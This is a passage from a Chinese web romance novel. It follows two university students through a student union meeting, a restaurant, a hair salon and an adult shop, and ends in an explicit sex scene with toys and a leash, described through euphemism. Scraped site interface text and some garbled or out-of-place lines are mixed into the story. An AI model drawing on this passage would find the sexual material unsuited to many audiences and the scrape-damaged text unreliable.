会议全程,靳宥司都牵着柯愫澄的手玩,柯愫澄早习惯了,手指都要被他揉红了,他就跟按摩师似的,每根手指都要揉捏一遍。 而靳宥司在做这些的时候,也不忘叫人起来聊看法以及分析解决问题。 被点起来的同学,在回答问题的时候,说话声是止不住的发颤,跟见了鬼似的。一个这样也就算了,主要是点几个起来,那几个人说话声就都是这样的。 柯愫澄能猜到原因,刚侧头,靳宥司就已经把耳朵贴了过去。 柯愫澄稍稍压低音量:“你刚刚发脾气了?” 靳宥司轻言细语道:"不算,我觉得我挺温柔的。" 柯愫澄眉梢一挑,明显不信:“真的吗?那他们为什么一个个都害怕成那样?” “抗压能力太差,还得练。” 在靳宥司说这话的时候,柯愫澄注意到,原本还低着头的那群人,又有些控制不住的偷偷抬眼,毕竟当众磕糖属实少见,他们现在不吃瓜了,磕糖总行了吧,只求靳主席,靳大人别问罪啊啊啊啊。 听到后座车门撞上的声响,他转过身,恭恭敬敬道:“老板好,老板娘好。” 会议在半小时后结束。谢津洲放走了大半的人,留下几个部门的组长,详聊校庆的事情。柯愫澄和靳宥司没躲过,也被强行拉回来听安排。 柯愫澄有点纳闷,在谢津洲讲事情的时候,冷不丁冒了句:“所以当初为什么把你推上去当学生会主席?我觉得谢津洲看着更适合这份工作。” 这话别人可不敢说,也就只有柯愫澄了。以至于在柯愫澄说完这句后,围坐在一起的各部门组长不约而同的看向靳宥司,想看看他是什么反应。 靳宥司这会儿还黏着柯愫澄,完全不背着人。会议室的椅子很宽大,他把两把椅子靠在一起,手臂越过中间的扶手,把柯愫澄拽过来,牵着她的手。两人肩膀跟上了502胶水一样,能分开一丢丢算他们输。 兴许是没料到靳有司谈恋爱会这般黏人,学生会这群人完全无法适应,跟小屁孩不敢当着家长面看接吻戏一样,浑身发麻,四处张望,又忍不住偷偷瞄上一眼。 而他们并没有等到靳宥司的回答,谢津洲倒是麻溜接了话:“别啊姐姐,您这不是故意挖坑给我跳吗!我哪敢当主席啊,这位置投票决定的,更何况工作安排以及乱七八糟的事情,都是由靳主席负责的,我就是个传话的,而目啊,等咱大四了,您就是主席咯。” 柯愫澄怎么忘了这茬,这简直……完蛋了。 她看向靳宥司:“能现在就把我开了吗?我不想干了。” 靳宥司的眉眼染着笑意,是旁人从未见到过的。在听到这句话后,他朝柯愫澄挑了下眉:“不太可以,宝宝。” 这声宝宝一出口,在场的所有人都屏住了呼吸,眼睛瞪得比铜铃都大。而谢津洲更是连手上的一沓资料都没拿稳,直接滑落到了地上。 柯愫澄真想甩他一巴掌,他要不要脸的,真把那群人当小日子了?这故意的成分有点过头了吧。 柯愫澄狠狠瞪了靳宥司一眼。 靳宥司倒像个没事人一样,表情里写着:叫宝宝怎么了吗?不是气人吗?怎么样宝宝,把他们气得够呛了吧。 柯愫澄知道靳宥司故意的,但知道是一回事,他别总是冲着自己笑啊!真把学生会那群入当做play中的一环了?真的很故意好吗! 柯愫澄眉心轻轻拧,瞪完他赶紧叫谢津洲继续。 谢津洲也是头回见,要不是柯愫澄叫自己,他一时半会儿都没办法回过神。他连忙担过头不看他俩,小情侣也太恶心人了。 轻咳两声后,他又讲了十分钟。 边出会议室 柯愫浴叶子已经连着叫了好几声。被靳宥司牵着 她看了眼时间 已经一占了·“我好饿 下午两人都没课,可以挑个稍远一点的店吃饭。靳宥司问:“想吃什么?” 柯愫澄其实早有打算,故意等靳宥司问呢:“去胖头鱼那吃吧,好长一段时间没去捧场了。” 闻言,靳宥司脱口而出:“存的酒都喝完了。” 柯愫澄没打算喝他的酒,他怎么能这么想自己呢:“我要温玉舟回去偷几瓶酒出来。”今早上课的时候,温玉舟突然发了个消息过来,说温随出差了,他打算回家一趟,偷点自己的东西。这不巧了吗,让他顺道也帮自己偷点,毕竟那个家,柯愫澄没打算再 不过靳宥司属实没想到这一点,还纳闷:“他没住贺融生那了?” “还住着呢,俩人搬出来住在学校附近的公寓,每天没人管,不知道多自在。” 说这话的间隙,两人已经来到车棚。 柯愫澄担心温玉舟偷完东西就跑了,赶紧给他发了个消息,要他把酒柜里的好酒都偷出来,然后发了个地址给他,要他直接送到胖头鱼店里去。 做这些的时候,靳有司已经戴上头盔跨坐上机车,顺带也帮柯愫澄把头盔戴上了。 等柯愫澄敲完字,将手机揣兜里,特喝瑟:“接下来一段时间,就是你白嫖我的酒了。” 靳宥司顺着柯愫澄来,点头嗯了声:“谢谢老板。” 柯愫澄满意了,还冲他挑了下眉:“赏你的。” 真是俩幼稚鬼摊手] 待柯愫澄跨上后座,二十分钟的路程,机车停在了胖头鱼店铺门口。这会儿温玉舟才回过来一条消息,说包在他身上。 将车停好,两人拎着头盔往店里进。 这个点已经不是午饭点,一般情况下是不营业的,但老板的朋友除外。 刚送走用餐的最后一桌客人,服务员小妹妹趴在收银台里刷手机,听到推门提醒铃铛发出叮铃铃的声响,她连头都没抬,只说:“不好意思啊本店现在不营业了。” 靳宥司瞥过去一眼,随后将目光放到了空无一人的用餐区,那儿连灯都降了大半。他的声音不带任何情绪:“胖头鱼今天来了吗?” 话音刚落,服务员小妹妹一下清醒了,麻溜坐直身子,一抬眼就看到门口站着的俩人。意识到自己刚刚的行为属实不妥,就算不是这两位,也不能如此敷衍。 小妹妹赶忙站起身:“来了的,这会儿正在二楼午休呢。” 靳宥司嗯了声,牵着柯愫澄往用餐区走:“叫他下来加个班。” 小妹妹答好,已经小跑着往楼梯间去:“我这就去,你们稍作休息。” 小妹妹一走,柯愫澄琢磨了几秒:“这真的好吗?”毕竟她和余老板并不熟,打扰人家午休,总觉得不妥。 靳宥司知道柯愫澄的顾虑,只说:“他没有午休的习惯,这会儿估计在手机上打麻将。” 他话音刚落,楼梯间传来急急忙忙的脚步声,伴随着一句机械女声:“二筒。” 靳宥司挑眉:“我说什么来着。” 柯愫澄佩服,他俩这得是多熟啊,连这个都能猜到。 此时余老板已经边打麻将边走到了用餐区,看到俩人,他毫不犹豫的将手机递到了靳宥司面前:“快帮我翻盘,这一手牌烂到我吐血。” 靳有司接住手机,扫了眼牌,随后将手机给了柯愫澄:“你玩。” 别说,柯愫澄还真挺想打几把的,已经接住手机打出一只牌,不过她丑话说在前面:“要输了怎么办? 听到柯愫澄的这句话,他来不及说什么,靳有司语气极为随意的说:“输了也是他这号的问题。” 得,你们恩爱,你们甜蜜,行了吧!余老板闭嘴了,好好干活儿。 柯愫澄没什么心理负担,随意玩着。不过这玩意儿真有点玄学在,手机到了柯愫澄的手上,摸上来的牌都是想要的,没两下就听牌了。 原本他还在低头做菜,这会儿抬起头,一眼就注意到两人脖子上的吻痕,都来不及夸柯愫澄打麻将牛掰,他的一双眼睛,被更牛掰的东西吸引了过去。他指着:“我去!你俩!玩这么花呢。 柯愫澄已经开了新的一局,她没打算顺着这个话题往下聊,主要是也没什么稀奇的吧 就听到靳宥司说:“见识太少了余老板。” 柯愫澄莫名觉得,靳宥司在说这话的时候特嘚瑟,那一股子痞劲挡都挡不住。 余老板额了半天,最后低下了头,将两份前菜端到了两人面前,试图用食物堵住秀恩爱的嘴。 柯愫澄边吃边打麻将,还不忘夸余老板的厨艺:“这比我在小日子吃的还好吃。” 余老板乐呵了,还怪不好意思的笑笑:“那不得,小日子算什么,能有我牛逼嘛。” 靳宥司太了解余老板,夸他两句他就要上天:“差不多得了。” 好滴少爷吃醋了。 余老板秒正经,边捏寿司边扯了个别的话题:“哦对了,最近怎么不见清屿哥哥啊。” 靳有司余光瞟到柯傣澄又胡牌了,他把手机抢过来,锁屏推到桌子另一侧:“闹分手,忙得很。” 柯愫澄还想玩呢,但又觉得总玩别人的手机的确不合适,便没说什么,继续吃没吃完的前菜。 正吃着,余老板一脸不可置信的说:“不是,清屿哥哥栽了?” 靳有司太了解柯愫澄,侧头看着她,一副不会是帮你自己打听吧的表情,懒懒道:“帮谁打探?” 柯愫澄不承认:“当然是帮你的梁老师打探情况了。” 靳有司拖着尾音哦了声:“行啊。” 这一茬过去,没十分钟,温玉舟找的人将一大箱酒送到了店里。 柯愫澄从中挑了一瓶,三人小酌了几杯,聊了些乱七八糟的,柯愫澄参与度不高,主要是她习惯在吃饭的时候刷点小视频,只偶尔接几句话。 这期间,靳宥司的注意力几乎停留在柯愫澄的身上,边聊天,还不忘帮她满上酒,又用余光瞟了好几眼她的手机屏幕。在十四点五十八分的时候,柯愫澄点赞了一个银发帅哥的视频。 吃饱喝足,靳宥司叫的车已经停在了店门口。和余老板告别后,两人前后脚坐上了黑色小轿车。 这么说起来有一个多月两个月没见到小刘了,他看着倒是更成熟稳重了。 靳宥司嗯了声,一把牵过柯愫澄的手,攥在掌心:“附近找家理发店。” 看书评回收藏首页投诉色情有害投诉数据造假投诉涉未成年有害本文当前霸王票全站排行84640,还差1颗地雷就可以前进一名。[我要投霸王票] 现称:umndefined评分:02分I鲜花一捧01分1一朵小花00分1交流灌水00分I别字捉虫0-1分1一块小砖0-2分1砖头一堆打开/关闭本文嗑糖功能嗑到了ksw1[展开]内容:好评论,快乐文流 查看评论规则>> 以 [1回复][投诉 笑死我了下午刚石完地上成领了。 到了k 欢迎您:7767872(77678723复制)[退出][我的晋江][充值][我的收藏][功能心愿单][去签到首页 古言 现言 纯爱 衍生 无CP+百合 完结分类 排行 全本 包月 免费 中短篇APP反馈×◎书名○作者搜索 高级搜索下一章 上一章 目录 设置 嗑到了kswl [展开] 84、银发 小刘不懂只是一味的答好:“老板,我知道附近有家理发店的托尼老师技术贼好,保准剪得让你满意。” 小刘话音刚落,一脚油门车开上路。 柯愫澄这才找着机会问靳宥司:“你怎么突然要剪头发?” 靳宥司回得随意:“烫个头。” 听到这个回答,柯愫澄没觉得有什么不对劲的地方,私心还是挺喜欢卷毛主席的。她应了声,脑袋靠到靳宥司肩膀上,闭目养神。 二十分钟的路程,黑色小轿车停在了理发店门口。巧的是,这家理发店是靳宥司二代圈里认识的一个朋友开的。两人刚进店,染着彩虹色头发的单眼皮帅哥就迎了上来,他一双眼没从柯愫澄身上挪开,盯了得有十多秒,愣是连招呼都不打,跟路边上的流氓没差。要知道是来这哥们的店,靳宥司都不会让小刘往这条道上送,这附近一圈的店铺,没一个正经老板,全是二代圈里无所事事的公子哥瞎投资的。见彩虹头还没有要挪开视线的意思,靳宥司直接无情的将人推开,语气不耐道:“欠收拾?”彩虹头这才反应过来自己的确有些冒失了,麻溜道歉:“抱歉抱歉,少爷您见谅啊,主要是嫂子长得实在太带劲,还有你俩最近闹的那事儿,我们都以为你们私奔不回来了呢。”这会儿柯愫澄的注意力已经全部集中到了一楼的烫染区,不因为别的,只是打心底里觉得这家店的老板不是什么特别正经的人,担心他底下员工也跟他一个样,到时候要是靳宥司这张帅脸,都拯救不了那发型,柯愫澄真会报警。不过看了一圈也没看出个所以然来,唯一的感受就是这家店客人实在太多了点,甚至还有坐在门口沙发上等待叫号的,别是因为这店里的托尼老师都是帅哥的缘故吧。这让柯愫澄更加不放心了。不过都不等她再多看几眼,靳宥司的手臂已经搭到她的肩膀上,冷不丁一句:“怎么,看到熟人了?”柯愫澄觉得有些莫名其妙,眉心稍稍拧了下:“没啊。”不是这都能吃上醋?她话音刚落,彩虹头跟对讲机那边的人说了句什么,随后笑眯眯的带路:“少爷嫂子咱二楼请。”来到二楼拐进最大的单人包间,负责给靳宥司烫头的托尼老师已经做好准备。瞧见几人进来,他立马鞠躬问好:“少爷好,嫂子好。”面对走到哪都要被问一遍好这种情况,柯愫澄和靳宥司属实不太喜欢。他俩随意惯了,真觉得没必要这样,又不是什么特别重要的场合,就来烫个头,整得跟回了家似的,不知道的还以为参加什么宴会呢,这个好了那个好。靳宥司也只是点头应了声,看到柯愫澄已经径直往沙发的方向走,他料到她困了,困了也挺好。在升降椅上坐下,托尼老师全程微笑服务,轻言细语问:“少爷,您这次想做什么发型呢?”彩虹头还待在包间,这会儿正抱着胳膊靠在全身镜前,一副痞子样:“寸头都好看得没边。”这边话音刚落,靠坐在沙发上的柯愫澄冷不丁一句:“你见过?”终于找到能搭话的了,彩虹头乐呵坏了,抬腿就要往柯愫澄那边去,一句话才吐出两个字:“哎嘛。”靳宥司睨过去一眼:“就待这,别瞎跑。”彩虹头老实了,咽了一把口水,回到原位好好站着,但也挡不住他特兴奋,都想拿出当年在圈内疯传的照片,他边掏手机,边跟柯愫澄说:“嫂子你是不知道,那会儿你老公刚上高一,学校搞军训,他嫌头发太长麻烦,直接给推平了。”说着这话,他的手指要滑冒烟了:“就那次我才知道,网上那些打着标签的寸头帅哥简直就是小菜,少爷堪称国宴级别。” 精准抓住时间点,柯愫澄瞄了靳宥司一眼,他已经和托尼老师确认好发型,准备去洗头了。面对某人的偷瞄以及心虚,他似乎已经习以为常,毕竟连第一面都没记住,后面再怎么遇到,也不会过多关注陌生人的发型。 没被找麻烦,柯愫澄也才回彩虹头的话:“有照片吗?” 彩虹头翻遍了相册都没找着,快急死了,已经跑去二代圈的群里问人要了,他道:“你等我找找啊,真的,别的话不说,就冲你老公这么权威的一张脸,能想象到吗!能吗嫂子!" 如果说之前跟流氓一样盯着人看,让柯愫澄觉得这人特别的不正经不靠谱,那么这会儿她倒觉得,这位彩虹头就是最标准的游手好闲公子哥。挺逗,没架子,自来熟,勉强还能说得上几句话。 柯愫澄余光瞟到,靳宥司正偷偷瞄自己呢。 她装不知情,抱着胳膊唇角扬起弧度点点头,嗓音挺漫不经心:“能啊,少爷多带劲啊,什么发型不是随便拿捏。” 看到靳宥司不着痕迹的勾起嘴角,柯愫澄脸上的笑意越发坏,这不也是拿捏住了嘛。 不过很可惜,彩虹头暂时没要到靳宥司的寸头照,只能跟柯愫澄唠点别的,但柯愫澄兴趣不大,主要是太困。等靳宥司洗完头回来,都用不着柯愫澄表示,他就直接把彩虹头赶出了包间。 人前脚刚滚蛋,后脚靳宥司就透过全身镜看着后方沙发上,没精打采的柯愫澄:“困了就睡。” 柯愫澄连应话的力气都没有,鼻腔里嗯出一声,把枕头放倒,小毛毯一打开,直接倒沙发上睡了过去。 这一睡就睡到了天黑。 柯愫澄醒来的时候整个人是背对着靳宥司躺的,摸到手机后她先看了眼时间,发现一分钟前乐队群有消息。 她点进去,毫不意外是阮东发的。 阮东:【话说咱要不要干票大的?】兴许是壳少没空出时间看手机,要不然这会儿消息早十多条了。没人搭理阮东,柯愫澄勉强赏他个脸,打字回复:【你想吃国家饭了?】这条消息刚发送出去,阮东就冒了出来:【哎呀,你们就说我最会的是什么吧,最擅长,是个人都知道的。】提醒到这个份上,应该没人不知道了吧。 澄zi:【营销?】 阮东:【对啦,趁着你俩逃婚的热度还没降下去,咱直接出新歌回归。】柯愫澄有些无话可说:【歌谁写?说出就出,你当我们是什么呢,是不是巴不得今天开会明天发歌啊。】其实阮东是有这个意思的,但他也知道这玩意儿勉强不来,搞创作的,时间精力缺一不可。 他麻溜跪地:【我就说说,出不了新歌,我还有别的招。】 柯愫澄当然知道,已经把手机撂到一旁,撑起身子坐了起来。她一转头,看到不远处升降椅上坐着的,正在吹发型的银发卷毛帅哥,眼都直了。毫不夸张的说,柯愫澄的心脏都漏跳了一拍。 本来靳宥司皮肤就白,染了个银发更是帅得有些妖艳,他的五官立体,线条分明,嘴唇红润简直太可口了点。 两人视线相撞,柯愫澄的嘴角勾勒出一抹意味深长的笑。 不等她说什么,托尼老师将吹风机关闭放到了桌子上,随后对着镜子好好欣赏了一番。纠结许久才开口问:“少爷,方便拍个照片吗?” 靳宥司没什么所谓,还盯着柯愫澄,看到她朝自己挑眉,唇角的那一丝玩味,是要吃人了吗? 他应了托尼老师的话:“拍吧。” 托尼老师乐呵坏了,赶紧掏出手机,以防少爷反悔。谁曾想少爷还挺配合的,视频拍了,照片拍了,也没嫌时间太久。托尼老师倒是挺不好意思的,拍完作品送两人出店时,他全程都在那鞠躬微笑,惹得店里其他客人不约而同的看了过来。 不知道是哪个角落,突然传出一声:"那不是STIFLE乐队的主唱和架子鼓手嘛。" 同行人立马探出头四处张望:“哪儿哪儿?” 而这会儿,柯愫澄和靳宥司已经推开理发店的门离开。 刚踏出店,走在人烟稀少的街道上,柯愫澄的手开始不老实:“说说吧,为什么突然染头发?”还这么巧染了个银发。 被柯愫澄搂着腰,靳宥司语气极为随意:“想染就染了呗,还有为什么。” 柯愫澄能信吗,隔着衣服摸腰已经不能满足她,就在这大街上,她的手直接滑入衣服里:“真的不是因为吃醋了吗?”说着这话,她还特欠的挑了下眉。 这下靳宥司能承认就奇了怪,少爷可好面子了,还反问:“醋什么?” 装吧,就继续装吧。 柯愫澄怎么可能不知道原因啊,她原本都快忘记自己吃饭的时候看到的那条视频了,这位醋王倒是帮忙唤起了记忆。 行行行,不跟他计较,不承认也没事儿,反正都是要做成香香饭送进嘴里的。 被胡乱摸了一顿,靳宥司提醒道: "这里不是荒漠,手稍微老实点。" 柯愫澄忍不住了啊,银发卷毛少爷简直就是稀罕物,不立马吃到口水都要滴到地上了。她装都不装,欲望全写在脸上:“那咱们快点回家吧,我饿爆了。” 面对这样的柯愫澄,靳宥司只觉得特别可爱,没忍住捏了一下她的脸蛋,眉眼间都含着淡淡的笑意:“不着急,得添点厨具。” 用不着明说,柯愫澄知道是带震动的厨具,突然就想起来,之前在港城逛街的时候,看到好几栋楼上挂着超大的某某用品的招聘。其实那会儿柯愫澄就有点想去逛逛了,她没进过这种店,也就对里头的东西特别好奇。 不过当时她并没有提出,现在聊到这件事,她顺着话题说:“我们时候再去港城,我想逛逛那里的成人,用品店。” 兴许是没料到柯愫澄会主动提这事,靳宥司眉梢轻轻一挑:“感兴趣?” 柯愫澄点头:“挺感兴趣的,据说小玩意特别多。” 如果可以,靳宥司现在就想带柯愫澄去一趟,好好挑选一番。但也只能想想,退而求其次他们选择去附近的一家小型成人,用品店,购买震动厨具。 这个点几乎不可能撞到同样来购物的客人。 柯愫澄先一步推开笨重的玻璃门,穿过门帘,映入眼帘的是好几排货架,上面满满当当摆放着各式各样的小厨具,以及某些特殊圈子的用品,还有一些乱七八糟的q,qu,内衣,和各种口味的拦精灵,就连吃,都有专门的tt。 柯愫澄实在有些挪不开眼,每一个都觉得稀奇,逛得特别仔细。 靳宥司就在旁边陪着,等着她挑选自己喜欢的厨具,毕竟这玩意儿也是拿来伺候她的。 逛了一圈,柯愫澄有些拿不准主意,主要是这些小东西她也没用过,不知道哪个好玩。 靳宥司有所察觉,其实一开始他说购买厨具,是想着帮忙挑选,然后给柯愫澄一些别样的感受,但看到她这么稀奇,莫名有种要把这家店包下来的气势,就自然而然退到 了后面。 现在柯愫澄纠结得不行,他也就站了出来,从货架上拿了两个自己早看上了的小厨具。 看到靳宥司这么果断,柯愫澄不得不怀疑,他是不是早就做足了功课。冷不丁一句:“就没有什么是用在你身上的吗?” 靳宥司都不带过多思考的,脱口而出:“裙子项圈猫耳朵,勾引你用的。” 也对。 不等柯愫澄说些什么,靳宥司一把将她拽到自己身前:“还有什么癖好吗?我尽可能都满足。” 柯愫澄思考了几秒,凑到靳宥司耳边,压低音量说:“小尾巴。” "毛茸茸的那种?还带动的。"“你怎么知道!”这是柯愫澄没想过的。 看到靳宥司特得意的挑眉,浑身上下那股子痞劲藏都藏不住。柯愫澄笃定,他私底下绝对认真研究过这方面的知识,例如怎么讨老婆疼爱。 被靳宥司牵着往结账区域走,柯愫澄问:“那行吗?” “过几天到货。” 经过一排放拦精灵的货架,靳宥司停了下来:“要不要换个新口味?” 柯愫澄这会儿还没从靳宥司说的前面一句话中回过神来,完全没办法第一时间给出回复。满脑子都是毛茸茸的大尾巴,摇啊摇,马上要寄到家门口了。 直到靳宥司轻掐了一下她的腰,她才从这般涩情的思绪中抽离出来,随意应了句:“葡萄吧。”靳宥司嗯了声,拿起一盒葡萄味的拦精灵。结完账出店,黑色小轿车已经停在路边上。 坐上车,靳宥司往柯愫澄肩上一靠,一直到车开进小区,他都不带睁眼的。兴许是睡眠不足的缘故,靳宥司这一觉睡得特别沉,只是夜间路上车少,没一会儿就到了家。 开锁进了门,柯愫澄看了时间,马上零点了。她把靳宥司拉到沙发上:“你再睡会儿,我去洗个澡。” 靳宥司想和柯愫澄一起洗,直接把她拽到腿上坐着,搂着她的腰,埋进她颈窝:“宝宝,你都不黏我。” 柯愫澄有些不明所以,难不成是刚刚睡觉做什么噩梦了?她明明很黏人的。听他说这话时的语气,还怪委屈的,柯愫澄只能哄哄他:"我等会儿帮你洗澡怎么样?" 靳宥司张嘴轻咬了一下柯愫澄的锁骨:"不要。" 靠……他是在故意勾引人吗?软死了啊啊啊。 受不了,不管是痞拽型的少爷,还是软软的,会撒娇的小司宝宝,柯愫澄都爱吃! 为了保持镇定,她轻咳了声:“不要你也先睡一会儿,要不然没精神多浪费新买的小玩具啊。” 没辙,被柯愫澄强行按倒在沙发上,一分钟不到他就睡着了。 等柯愫澄收完衣服回来,看到侧躺在沙发上,熟睡的靳宥司,她心头冒出了个坏点子。 半小时后,靳宥司醒来了。 他先是从枕头底下摸出手机,正准备看眼时间,被自己指甲盖上的黑色甲油吸引了全部的注意力,主要是她还正正好留了右手中指和无名指没涂甲油。 而此时的罪魁祸首已经在浴室洗澡,靳宥司去阳台抽了根烟,清醒了一下,脱了上衣就往里进。浴室里的蓝牙音响声震耳欲聋,柯愫澄并没有发觉有人进来,直到纤细被人搂住,顺势转过身,嘴唇已经被堵得严严实实。 尝到对方嘴里淡淡的薄荷味,鼻尖萦绕着的烟草味,让柯愫澄冒了些汗。 唇齿交缠,这个吻依旧猛烈,柯愫澄的舌尖都被吮吸得有些发麻,两人的鼻尖撞到一起,似乎都有些急切,担心再次相撞,靳宥司一手扶在柯愫澄后颈,不让她歪头,一切由他来主导。 他将人直接抱起,托住果园中最粉嫩的那颗水蜜桃树。柯愫澄手臂环上靳宥司的脖颈,就像是树懒,栖居树上。 继续拥吻着,他们就像是饿了几天几夜的莽兽,在茂密的森林之中,闪烁着兴奋的目光紧紧盯着猎物,抓准时机逮到猎物后,当即就要将它活吞进肚子里。 不知吻了多久,浴室的温度逐渐升高,耳边是节奏感强烈的音乐声,盖过了淋浴花洒的声响,以及细细腻腻的水zi声。 晚七点三十一分的天气预报上说,今夜会有阵雨,伴随着雷暴和龙卷风。 而此时柯愫澄觉得,如果他们不是在浴室,或许暴雨早就降临在卧室里。将光线吞噬,陷入一片昏暗,风雨呼啸而来,狠狠砸在地面以及棉织物品上。 不知道靳宥司有没有察觉到,被强劲对手逮到的猎物的某些变化,反正柯愫澄已经被大学城附近那家网红蛋糕店的招牌法棍所吸引了全部的注意力。 她不想像树懒一样,栖居树上,她想戴上烘焙师的透气帽,检查烘焙烤箱中的食物,如果已经烤制到一定的温度,那就得赶紧讨出来,要不然烤焦烤糊了就没法进行售卖了。不过在此之前,烘焙师想,直接去拿烤箱里的东西,肯定会被灼烧伤手,但是也没道理在把玩剪影无比的木,昆儿时去购买超厚隔热手套。所以抛开这些乱七八糟的。 说干就干,柯愫澄强行结束了这个吻,盯着靳宥司水灵灵的眼睛:“你怎么都不敲门。” 靳宥司还想亲,被打断,他实在有些躁:“没那习惯。” 这简直就是土匪说的话。 柯愫澄不跟他计较,开始提要求:“那你还想亲吗?” 靳宥司不按常理出牌,微微歪头,视线挪到柯愫澄被亲得红透了的嘴唇上:“我知道你还想。” “滚蛋。”柯愫澄瞪着他。 靳宥司立马服软:“是我想。” 柯愫澄非常满意他的回答,都没想好怎么继续逗他,靳宥司偏头张嘴,吻上来,探入舌尖,搅着,让她没话说,没力气反抗,等会儿就不会饿得要命,馋这个馋那个。柯愫澄不知道靳宥司是这么想的,这十几二十分的part属实是亲够了,亲满足了,亲带劲了。 察觉到有人来敲门时,柯愫澄已经迫切的开门邀请两位往里进。 一进门她就给了个大大的拥抱,程度属实让两位客人被迫憋气,不过这回两位客人的大哥没多温柔,主要站在浴室听着极欲歌曲的两人都已经入了戏,只差来几个街边混 混,提着家伙就冲上去干架。柯愫澄保准能打赢那些混混,她可是练空手道的,徒手就能撂倒一群人。 而此时蓝牙音响里正在播放着Anomie Belle的《How Ccan I Be Sure》。气音直接颅内高,潮,配合着淅淅沥沥的水声,水蒸气缭绕上升,气氛越发暧昧。 被靳宥司扛着来到卧室,丢到铺着黑色放水垫的床上。 整个房间里只留有一处暗紫色灯光,床头柜上是前不久两人精挑细选的震动小厨具,以及葡萄味的泡泡糖。 柯愫澄没尝过葡萄味的泡泡糖,更加没体验过找老师亲自带着下厨房炒饭的经历,身体的感受不自觉放大好几倍。看到靳宥司特别自觉的佩戴上新到货的,带银色牵引绳的choker。 如果没有记错的话,这件快递还没拆,放在玄关处来着,现在怎么跑到他脖子上来了? 柯愫澄的瞳孔骤然收缩,随即嘴角上扬,一只脚直接踩在了他的腹肌上。余光瞟到他已经拉下拉链,将牵引绳的一端递到面前,明明耳根子都红透了,浑身上下那股子劲倒没消散。 柯愫澄憋着笑,接住银链子,握紧,踩在他腹肌上的脚没收回来,被一把抓住,抬起架在了肩上。 此时扩张运动已经做得很足,小厨具们也被靳宥司清洗干净,正躺在玻璃碗中。碗里装着大半的冰块,它们被浸泡在冰水里,等会儿就该进入到火山熔岩中。不知道是不是首次尝试的缘故,柯愫澄甚至有些紧张,额头上冒了些汗。 靳宥司能感受到,她现在身体很烫,但也没有那家伙温度高。他修长且骨节分明的手指侵入冰水中,捞起一颗粉色的egg,此时小蛋已经冰透透。靳宥司没有第一时间打开开关,而是用手揉了几下家门前的密林。 柯愫澄没料到他会做这个,被吓了一跳,身体不自觉抖了下。靳宥司抬眉,嗓音低沉有磁性:“走神呢。” 柯愫澄才没有,极力否认:“不是,你突然来这么一下。” "吓到了?"他将架在肩上的一条月退放下来,微微倾身过来。 柯愫澄来不及回答,听到可爱的小粉兔被打开时发出的嗡嗡嗡的声响。持续不断的低沉声音,莫名有种一秒入夏的既视感,被手月寸撑开,退,绘本中的小粉兔来到家门口,像是在寻觅着什么,小粉兔最终停在了院子前种植的蜜豆上。 柯愫澄的呼吸变得异常急促,抓住游戏终极大boss的手臂,想与之抗衡,小月复抬起又落下,因冰透感以及正东时带来的墙裂触感,审题开始胡乱扭动。来访者试图控制住,想法子让主人保持冷静。 用气音在她耳边说:“宝宝,不要乱动。” 柯愫澄不自觉缩了下脖子,他的气息扑撒在耳畔,声音实在太欲,她觉得自己没办法平静下来。 小粉兔在蜜豆林园探索完毕,靳宥司将这颗粉色的丢入冰水中,换了一颗新的,紫色的,带绳儿的。 柯愫澄都还没缓过神,就在刚刚,那么几下的功夫,她就快到了,只可惜靳宥司太了解她,抢在还没有的时候,停了下来。这让柯愫澄越发燥热,都想抬手甩过去,甩他脸颊上。 她骂道:"艹,你故意玩我呢。"说这话时,柯愫澄的声音都是虚的,软的,还喘着粗气。 靳宥司唇角止不住的勾起,笑得坏,将手上这颗紫色带绳儿的打开,不敲门直接塞进了主人的怀里。 明明已经有预料到会如此,给到大大拥抱的同时,主人的审题也止不住的开始发颤。柯愫澄甚至都不知道该先感受哪一部分带来的冲击,冰透,嗡嗡,亦或者其他。 垂眸看到靳宥司牵着那根绳儿,他的手指太漂亮,做着这样恶劣的事情,拥有变态心理的柯愫澄实在受不了,脸颊染着红晕,声音细微而急促:“亲我,小司亲亲我,快亲亲我。” 85、出息 绳儿绕一圈,缠在靳宥司修长的手指上,他刚俯身过来,猝不及防被柯愫澄捧住了脸颊。 她的两只手捂在他的耳朵上,凑上去吻住他的嘴唇,含着唇瓣亲了又亲,尝到味道就舍不得撒手。 靳宥司不知道柯愫澄是不是在试图转移注意力,审题,抖动得有些厉害,又或许是别的什么原因,她极少这般主动的求吻,叫的还是小司。 而这次,柯愫澄完全的站在了主导位,明明感受美妙的是她,她却学会了主动出击。 被捂住双耳,靳宥司能很清楚的听到舌头交缠的声音,以及那细微的chuan气声,还有自己心脏跳动的声音。 她这招从哪学来的?不会无师自通吧,这简直就是……唉靳宥司彻底败给她了,这接吻声越听越带劲,烤箱内的温度实在是有些高了。 靳宥司原本还说要多玩一会儿小游戏,现在不想玩了,他觉得是时候邀请玩家进入到主战场,和大boss进行新一轮的挑战。 但柯愫澄似乎还没有亲够,也打心底里觉得两人的距离实在太远,靳宥司怎么回事啊,离那么远干什么?他是在害怕什么吗?她也管不了那么多,任由小紫蛋持续正东,她将人勾过来,靳宥司的手肘撑在一侧,常驻民都用不着去看,已经来到家门前,和小紫来了个贴脸打招呼。 两人的嘴唇还粘在一起,可靳宥司现在不想亲了,游戏都进入到了加载界面,该挑选技能以及武器做准备了。 这么想着,他拽着绳儿瞅出小紫。原本闷闷的声,现在变得异常响亮。 靳宥司甚至都来不及去关闭它,直接就丢进了冰水里。 也是这一举动,结束了这个黏腻的吻。 柯愫澄松开捧住靳宥司的手,转眸看向床头柜上的冰水碗,小紫闹腾的躺在里面,水面溅起水花。她都没来得及问为什么就不玩了,游戏加载界面进度条显示百分之九十八,大boss已经穿戴完毕,拿着挑选好的武器,做好准备迎接这位游戏玩家。 玩家这会儿都没太反应过来,不知道是网络卡顿的缘故,还是其他,什么技能武器都没有挑选的她,直接就被送进了游戏当中。 这是一片极其隐蔽的森林,岛屿上几乎没有出现过其他人类,就连研学家们也不敢到此,只能通过航拍对这片森林进行初步的了解。而森林岛屿的主人,提着大刀看着前来迎战的玩家。 玩家在进入到游戏后的三秒钟时间里,因为网络卡顿的问题并没有得到解决,再反应过来的时候,她看着自己空落落的双手,什么武器都没带就直接这么来?这什么破游戏,这什么破网络,她要投诉! 像是受到了某种惊吓,玩家的审题,不自觉的开始发抖,冷汗都冒了出来。面对大boss提刀就干的劲,这前后左右没有一条道可以跑,该如何是好啊,但凡给玩家提供充足的休息时间,都不至于如此。 没辙,现在已经进入到了游戏当中,挑战是死,不挑战也是死,不如死得痛痛快快! 切磋过程中,耳边依旧回荡着嗡嗡声,几次吸引柯愫澄的注意力,不过刚瞟过去一眼,就被大boss更加猛烈的出招动作强行带入主战场。 